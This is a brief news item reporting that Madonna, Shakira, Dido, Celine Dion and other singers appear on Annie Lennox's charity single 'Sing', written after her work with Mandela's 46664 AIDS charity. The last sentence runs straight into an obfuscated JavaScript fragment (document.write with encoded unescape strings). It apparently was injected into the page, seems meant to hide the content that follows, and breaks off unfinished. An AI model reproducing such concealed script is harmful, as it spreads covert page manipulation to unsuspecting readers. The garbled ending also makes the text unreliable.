Madonna is among a host of female stars to appear on a new charity single by vocalist Annie Lennox.
Sing will feature contributions from 23 singers including Shakira, Joss Stone, Dido and Celine Dion, who were asked to perform by the former Eurythmics star.
Lennox, whose new album is due for release in October, wrote the song after her work with Nelson Mandela's 46664 Aids charity.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;